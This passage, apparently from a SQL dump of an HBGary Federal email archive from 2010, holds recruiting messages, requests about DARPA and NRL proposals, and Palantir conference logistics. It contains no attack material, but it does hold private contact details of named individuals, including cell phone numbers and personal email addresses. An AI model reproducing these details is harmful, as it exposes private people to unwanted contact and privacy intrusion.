PM, Chris Hummel wrote:\r\n\r\nSounds good - I&#39;ll block off some time in the afternoon as the morning has already filled up. Thanks,Chris\r\n\r\nFrom: aaron@hbgary.com\r\nSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To: chris_hummel@hotmail.com\r\nok lets shoot for Friday next week. \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron, I don&#39;t work directly for Mark or Chris, but I do engage with various people in their organization.  I&#39;ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.  I look forward to talking to you as well.\r\n Thanks,Chris &gt; From: aaron@hbgary.com\r\n&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To: chris_hummel@hotmail.com\r\n&gt; &gt; Hi Chris,&gt; &gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?\r\n&gt; &gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.\r\n&gt; &gt; Look forward to talking with you.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.\r\n&gt; &gt; &gt; \r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.  		 	   		  Hotmail: Powerful Free email with security by Microsoft. Get it now.\r\n\r\n',15837,'aaron_hbgary_com/15837.html'),(3911,'2010-03-11','\"Mankin, Mark\" <mark.mankin@fidelissecurity.com>','/aaron@hbgary.com/new/1297002049.M495059P3547Q3911.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NRL & DARPA','\r\n\r\n\r\n\r\n\r\nHi Aaron -\r\n&nbsp;\r\nI talked to David and we will have something to you in the next day or two.&nbsp;\r\n&nbsp;\r\nThe only times I can\'t meet next week are Mon (9 - 11 am) and Tues (9 - 1 pm).&nbsp;&nbsp; Anytimes outside of that I\'m open as of today.\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Mankin, MarkSent: Thu 3/11/2010 8:29 AMTo: Aaron BarrSubject: RE: NRL &amp; DARPA\r\n\r\n\r\nHi Aaron -\r\n&nbsp;\r\nJust wanted to see if there is anything you needed to help with NRL or DARPA.&nbsp;&nbsp; I know your swamped but let me know if you need any help.\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tue 3/2/2010 8:42 AMTo: Mankin, MarkSubject: Re: NRL &amp; DARPA\r\nHey Mark, \r\n\r\nThanks. &nbsp;Not at the moment. &nbsp;I have a good amount of literature that will help at the moment and a good understanding of the integration potential.\r\n\r\nHere is status. &nbsp;We are writing statements of work today for the DARPA effort. &nbsp;I am slammed with it right now. &nbsp;This week I am focusing on getting most of the DARPA content done, since it is a full proposal effort. &nbsp;Next week most of the technical material should be written so I can focus on pulling some of that content out and writing the whitepaper for NRL. &nbsp;Its a lot... divide and conquer. &nbsp;If you see Van Putte tell him a few extra weeks would have been nice... ;)\r\n\r\nAs I get the SOW written I will have a better idea what I might need.\r\n\r\nAaron\r\n\r\n\r\nOn Mar 2, 2010, at 8:32 AM, Mankin, Mark wrote:\r\n\r\n\r\n\r\nAaron -\r\n&nbsp;\r\nI will be at DARPA today.&nbsp;&nbsp; Is there any action items that you and David discussed&nbsp;between Fidelis &amp; HB Gary on these efforts?\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Mankin, MarkSent: Fri 2/26/2010 7:07 AMTo: aaron@hbgary.comSubject: NRL &amp; DARPA\r\n\r\nAaron -\r\n&nbsp;\r\nIt was a pleasure meeting you, yesterday.&nbsp;&nbsp;&nbsp; Let me know if you want to get together next week to discuss the NRL and DARPA RFP\'s you mentioned.\r\n&nbsp;\r\nHave a great weekend!\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',7142,'aaron_hbgary_com/7142.html'),(3912,'2010-03-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002055.M585655P3547Q3912.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Request for Proposal - HBGary Federal - Cyber Genome Program','\r\n\r\n-------- Original Message --------\r\nSubject: Request for Proposal - HBGary Federal - Cyber Genome Program\r\nDate: Thu, 4 Mar 2010 15:32:24 -0700\r\nFrom: Larson, Cindy S. \r\nTo: Ted Vera \r\nCC: Corcino, Stefanie E. ,	Vela, Ryan\r\n,	Harlow, Douglas M. ,\r\nBarr Aaron \r\n\r\nDear Mr. Vera:\r\n\r\nGDAIS requests your company to submit a FFP/LOE proposal in support of\r\nthe Cyber Genome Program/Proposal effort.  All documentation applicable\r\nto our RFP is attached.\r\n\r\nImportant - note the due dates identified in the RFP cover letter and\r\nAttachment 1 located directly behind the cover letter.  Due to DARPA\'s\r\ndue date we have a very short proposal turn around time.  ALSO, THE RFP\r\nATTACHMENT 2 STATEMENT OF WORK WILL BE PROVIDED TO YOU IN A SEPARATE\r\nEMAIL BY EITHER STEFANIE CORCINO OR RYAN VELA.\r\n\r\nThe following additonal information is required, in addition to what is\r\noutlined in the RFP cover letter and Attachment 1:\r\nPlease identify the following for each task/subtask that your company is\r\ncompiling.\r\n\r\n1. Innovative claims that succinctly describe the uniqueness and\r\nbenefits of their approach relative to the current state-of-the=art\r\nalternate approaches.\r\n\r\n2. Define each technical tasks/subtasks in terms of\r\n\r\na. General description of the objective\r\n\r\nb. Detailed description of the approach to accomplish the objective\r\n\r\nc. Description of deliverables to be provided\r\n\r\nd. Completion criteria in terms of milestones and deliverables\r\n\r\n3. Detailed technical rationale, approach, and plan\r\n\r\n4. Comparison with existing research outlining advantages and\r\ndisadvantages of the innovative claims.\r\n\r\n5. Past performance and accomplishments (Past Performance Template\r\nprovided) with relevance to current proposal.\r\n\r\n6. Description of the place of performance, facilities, and locations.\r\n\r\n7. Identification of one key personnel with significant dedication to\r\nthe proposed effort (Key Personnel Qualifications Template provided).\r\n\r\n8. Summary of cost, schedule, and milestones.\r\n\r\n9. Related research, white papers, or supporting information.\r\n\r\n\r\nPlease call the POCs identified in the cover letter with any questions\r\nor comments regarding the RFP and attachments.\r\n\r\nWe look forward to hearing from you.\r\n\r\nRegards,\r\n\r\nCindy Larson\r\nGDAIS Sr. Lead Specialist, Contracts\r\n\r\n',11109,'aaron_hbgary_com/11109.html'),(3913,'2010-03-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002056.M794285P3547Q3913.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: RE: Request for Proposal - HBGary Federal - Cyber Genome Program','\r\n\r\n-------- Original Message --------\r\nSubject: RE: Request for Proposal - HBGary Federal - Cyber Genome Program\r\nDate: Tue, 9 Mar 2010 13:21:36 -0700\r\nFrom: Corcino, Stefanie E. \r\nTo: Larson, Cindy S. , Ted Vera \r\nCC: Vela, Ryan , Harlow, Douglas M.\r\n, Barr Aaron \r\n\r\nDear Mr. Vera:\r\nAttached is the RFP Attachment 2, Statement of Work, as mentioned in\r\nCindy Larson\'s below email.\r\n\r\nRegards,\r\n\r\n\r\nStefanie Corcino, PMP\r\nProgram Manager - Subcontracts\r\nGeneral Dynamics - Advanced Information Systems\r\n1405 N. Fiesta Blvd.\r\nGilbert, AZ. 85233\r\nDirect Line: 480.355.7707\r\n\r\nThis email message is for the sole use of the intended recipient\'s) and\r\nmay contain GDAIS confidential or privileged information. Any\r\nunauthorized review, use, disclosure or distribution is prohibited. If\r\nyou are not an intended recipient, please contact the sender by reply\r\nemail and destroy all copies of the original message.\r\n\r\n\r\n\r\nFrom: Larson, Cindy S.\r\nSent: Thursday, March 04, 2010 3:32 PM\r\nTo: Ted Vera\r\nCc: Corcino, Stefanie E.; Vela, Ryan; Harlow, Douglas M.; Barr Aaron\r\nSubject: Request for Proposal - HBGary Federal - Cyber Genome Program\r\n\r\nDear Mr. Vera:\r\n\r\nGDAIS requests your company to submit a FFP/LOE proposal in support of\r\nthe Cyber Genome Program/Proposal effort.  All documentation applicable\r\nto our RFP is attached.\r\n\r\nImportant - note the due dates identified in the RFP cover letter and\r\nAttachment 1 located directly behind the cover letter.  Due to DARPA\'s\r\ndue date we have a very short proposal turn around time.  ALSO, THE RFP\r\nATTACHMENT 2 STATEMENT OF WORK WILL BE PROVIDED TO YOU IN A SEPARATE\r\nEMAIL BY EITHER STEFANIE CORCINO OR RYAN VELA.\r\n\r\nThe following additonal information is required, in addition to what is\r\noutlined in the RFP cover letter and Attachment 1:\r\n\r\nPlease identify the following for each task/subtask that your company is\r\ncompiling.\r\n\r\n1. Innovative claims that succinctly describe the uniqueness and\r\nbenefits of their approach relative to the current state-of-the=art\r\nalternate approaches.\r\n\r\n2. Define each technical tasks/subtasks in terms of\r\n\r\na. General description of the objective\r\n\r\nb. Detailed description of the approach to accomplish the objective\r\n\r\nc. Description of deliverables to be provided\r\n\r\nd. Completion criteria in terms of milestones and deliverables\r\n\r\n3. Detailed technical rationale, approach, and plan\r\n\r\n4. Comparison with existing research outlining advantages and\r\ndisadvantages of the innovative claims.\r\n\r\n5. Past performance and accomplishments (Past Performance Template\r\nprovided) with relevance to current proposal.\r\n\r\n6. Description of the place of performance, facilities, and locations.\r\n\r\n7. Identification of one key personnel with significant dedication to\r\nthe proposed effort (Key Personnel Qualifications Template provided).\r\n\r\n8. Summary of cost, schedule, and milestones.\r\n\r\n9. Related research, white papers, or supporting information.\r\n\r\nPlease call the POCs identified in the cover letter with any questions\r\nor comments regarding the RFP and attachments.\r\n\r\nWe look forward to hearing from you.\r\n\r\nRegards,\r\n\r\nCindy Larson\r\nGDAIS Sr. Lead Specialist, Contracts\r\n\r\n',70,'aaron_hbgary_com/70.html'),(3914,'2010-03-11','\"Timothy Ronan\" <tronan@palantirtech.com>','/aaron@hbgary.com/new/1297002057.M151176P3547Q3914.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: GovCon stuff','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nNo problem, I can empathize with those overwhelming weeks we all\r\nhave.&nbsp; Any word on whether you would like me to hold your GovCon5 booth\r\nreservation?&nbsp; If so, can you please provide the image file and company\r\ndescription requested below?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nTim\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\nTim Ronan\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\ntronan@palantirtech.com | 571.225.6179\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 02, 2010 2:26 PM\r\nTo: Timothy Ronan\r\nCc: Masterson, Brian (Xetron); Matthew Steckman\r\nSubject: Re: GovCon stuff\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey guys,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry I am just overwhelmed with Proposals all week. &nbsp;I\r\nwill talk with Brian and Greg to see what makes sense and get back with you\r\nsoonest.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 2, 2010, at 11:19 AM, Timothy Ronan wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron, Brian,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nhope your preparation for GovCon5 is going smoothly.&nbsp; Is the HBGary/Xetron\r\nv0 integration still on target for the conference?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nneed a couple things from you to aid in conference preparation on our\r\nend.&nbsp; Could you please provide a high-res (300 dpi) vector (.ai, .eps) or\r\nuncompressed TIFF format company logo (in this case one for each of your\r\ncompanies).&nbsp; If this is not available, a high-res uncompressed jpeg is\r\nacceptable.&nbsp; We will also need a 100 word description of your company and\r\nintegration with Palantir.&nbsp; A 100 word piece from each HBGary and Xetron\r\nis fine.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA\r\ncouple details on conference logistics:\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Partner booths will be a 10x7 space with a\r\ntable, table skirt, and backdrop provided.&nbsp; All other booth media (i.e.\r\nsignage, demo material, company collateral) will need to be supplied by you.\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Setup will be available in the evening on\r\nTuesday (4/6) or pre-conference on Wednesday (4/7).&nbsp; Additional details to\r\nbe available in the coming weeks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAdditionally,\r\nplease let me know if your companies are interested in any of the sponsorship\r\nopportunities available.&nbsp; Please do not feel obligated to be a sponsoring\r\npartner, I just wanted to remind you that the deadline to do so is approaching\r\non Friday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\ndo not hesitate to contact Matt or myself with any questions as you prepare for\r\nthe conference.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 1:36 PM\r\nTo:&nbsp;Aaron Barr; Masterson,\r\nBrian (Xetron)\r\nCc:&nbsp;Timothy Ronan\r\nSubject:&nbsp;GovCon stuff\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nBrian,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTim\r\nRonan is leading our GovCon coordination.&nbsp; To maintain your demo station\r\nwe reserved for you guys he&#8217;s going to need some basic info.&nbsp; Ill let him\r\npick up the thread from here.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nother random news, Aaron, you had asked me about web scraping vendors.&nbsp;\r\nOut of the blue a rep from Cyveillance (http://www.cyveillance.com/)\r\ncalled me to chat partnership.&nbsp; I believe they have the capability you\r\nwere looking for.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14397,'aaron_hbgary_com/14397.html'),(3915,'2010-03-11','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297002057.M389904P3547Q3915.eml','aaron@hbgary.com','RE: Introductions','\r\n\r\n\r\n\r\n\r\nSounds good.&nbsp;\r\n\r\nFrom: aaron@hbgary.comDate: Thu, 11 Mar 2010 10:13:39 -0500Subject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\nOk let\'s shoot for 3pm. &nbsp;I will set up a telecon.From my iPhone\r\nOn Mar 11, 2010, at 9:46 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nAaron - I have a window between 3-4p today.&nbsp;-Chris&nbsp;\r\n\r\nFrom: aaron@hbgary.comDate: Thu, 11 Mar 2010 09:16:45 -0500Subject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\nAny chance you could be available this afternoon?From my iPhone\r\nOn Mar 9, 2010, at 9:51 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nNo problem, I understand.&nbsp; Mornings (8-11) are looking good for the rest of the week.&nbsp;Thanks,Chris&nbsp;\r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Tue, 9 Mar 2010 09:19:52 -0500To: chris_hummel@hotmail.comThanks. &nbsp;Sorry Chris. &nbsp;I have been consumed with this DARPA proposal. &nbsp;Let me check schedules to see if we can get something set up this week. \r\n\r\nAaron\r\n\r\nOn Mar 7, 2010, at 12:38 PM, Chris Hummel wrote:\r\n\r\nHi Aaron,&nbsp;I wanted to follow up with you from the other week regarding the technical interview.&nbsp; This week is shaping up to be fairly busy but I\'m sure I can carve out some time to speak with your RE expert.&nbsp;Thanks,Chris&nbsp;\r\n\r\nFrom:&nbsp;aaron@hbgary.comDate: Mon, 22 Feb 2010 17:49:52 -0500Subject: Re: IntroductionsTo:&nbsp;chris_hummel@hotmail.com\r\nSounds good.\r\nCan you call me at 719.510.8478 at 3pm?\r\n\r\nAaronFrom my iPhone\r\nOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nAaron,&nbsp;I live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.&nbsp; I actually ask this of everyone for the first meeting so we can both guage the level of interest.&nbsp; Sorry for any confusion.&nbsp;Thanks,Chris&nbsp;\r\n\r\nFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To:&nbsp;chris_hummel@hotmail.comWhere do you want to meet? &nbsp;Is the Tysons area ok? &nbsp;Is 3pm good? \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\nSounds good - I\'ll block off some time in the afternoon as the morning has already filled up.&nbsp;Thanks,Chris\r\n\r\nFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To:&nbsp;chris_hummel@hotmail.comok lets shoot for Friday next week. \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron,&nbsp;I don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Hi Chris,&gt;&nbsp;&gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt;&nbsp;&gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt;&nbsp;&gt; Look forward to talking with you.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection.&nbsp;Sign up now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now. \r\n\r\nHotmail: Powerful Free email with security by Microsoft. Get it now.  		 	   		  Hotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n',12796,'aaron_hbgary_com/12796.html'),(3916,'2010-03-11','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297002057.M603425P3547Q3916.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introductions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nyes\r\n\r\n \r\n\r\n\r\n\r\nFrom: Phil Wallisch\r\n[mailto:phil@hbgary.com] \r\nSent: Thursday, March 11, 2010 10:12 AM\r\nTo: Aaron Barr\r\nCc: Rich Cummings\r\nSubject: Re: Introductions\r\n\r\n\r\n\r\n \r\n\r\nYes.\r\n\r\n\r\n\r\nOn Thu, Mar 11, 2010 at 10:04 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nCan u both support a 3 or 330 phone interview?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Chris Hummel &lt;chris_hummel@hotmail.com&gt;\r\nDate: March 11, 2010 9:46:59 AM EST\r\nTo: &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Introductions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron - I have a window between 3-4p today.\r\n \r\n-Chris\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: aaron@hbgary.com\r\nDate: Thu, 11 Mar 2010 09:16:45 -0500\r\nSubject: Re: Introductions\r\nTo: chris_hummel@hotmail.com\r\n\r\n\r\n\r\nAny chance you could be available this afternoon?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 9, 2010, at 9:51 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo problem, I understand.  Mornings (8-11) are looking\r\ngood for the rest of the week.\r\n \r\nThanks,\r\nChris\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: aaron@hbgary.com\r\nSubject: Re: Introductions\r\nDate: Tue, 9 Mar 2010 09:19:52 -0500\r\nTo: chris_hummel@hotmail.com\r\n\r\nThanks.  Sorry Chris.  I have been consumed with this DARPA proposal.\r\n Let me check schedules to see if we can get something set up this week. \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 7, 2010, at 12:38 PM, Chris Hummel wrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHi\r\nAaron,\r\n \r\nI wanted to follow up with you from the other week regarding the technical\r\ninterview.  This week is shaping up to be fairly busy but I&#39;m sure I can\r\ncarve out some time to speak with your RE expert.\r\n \r\nThanks,\r\nChris\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: aaron@hbgary.com\r\nDate: Mon, 22 Feb 2010 17:49:52 -0500\r\nSubject: Re: Introductions\r\nTo: chris_hummel@hotmail.com\r\n\r\n\r\n\r\nSounds\r\ngood.\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nyou call me at 719.510.8478 at 3pm?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n \r\nI live north of Baltimore and work primarily out of my home office so our first\r\nconversation will need to be via the phone.  I actually ask this of\r\neveryone for the first meeting so we can both guage the level of\r\ninterest.  Sorry for any confusion.\r\n \r\nThanks,\r\nChris\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: aaron@hbgary.com\r\nSubject: Re: Introductions\r\nDate: Mon, 22 Feb 2010 15:46:35 -0500\r\nTo: chris_hummel@hotmail.com\r\n\r\nWhere do you want to meet?  Is the Tysons area ok?  Is 3pm good? \r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSounds good - I&#39;ll block off some time in\r\nthe afternoon as the morning has already filled up.\r\n \r\nThanks,\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: aaron@hbgary.com\r\nSubject: Re: Introductions\r\nDate: Wed, 17 Feb 2010 13:34:46 -0500\r\nTo: chris_hummel@hotmail.com\r\n\r\nok lets shoot for Friday next week. \r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHi Aaron,\r\n \r\nI don&#39;t work directly for Mark or Chris, but I do engage with various people in\r\ntheir organization.  I&#39;ll have some time either Monday morning to chat\r\nbefore flying out to the west coast, or Wednesday and thereafter once I\r\nreturn.  I look forward to talking to you as well.\r\n \r\nThanks,\r\nChris\r\n\r\n \r\n&gt; From: aaron@hbgary.com\r\n&gt; Subject: Introductions\r\n&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500\r\n&gt; To: chris_hummel@hotmail.com\r\n&gt; \r\n&gt; Hi Chris,\r\n&gt; \r\n&gt; I was given your resume from our product side. Your name rings a bell and\r\nI am sure we have met before. Do you work for Mark Leary or Chris Barnett?\r\n&gt; \r\n&gt; I am interested to talk to you about your resume and positions we are\r\ngoing to be opening up in the next month. I am out of town for the next few\r\ndays. Let me know what your schedule is like next week.\r\n&gt; \r\n&gt; Look forward to talking with you.\r\n&gt; \r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHotmail:\r\nFree, trusted and rich email service. Get it\r\nnow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHotmail:\r\nTrusted email with powerful SPAM protection. Sign up\r\nnow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHotmail:\r\nFree, trusted and rich email service. Get 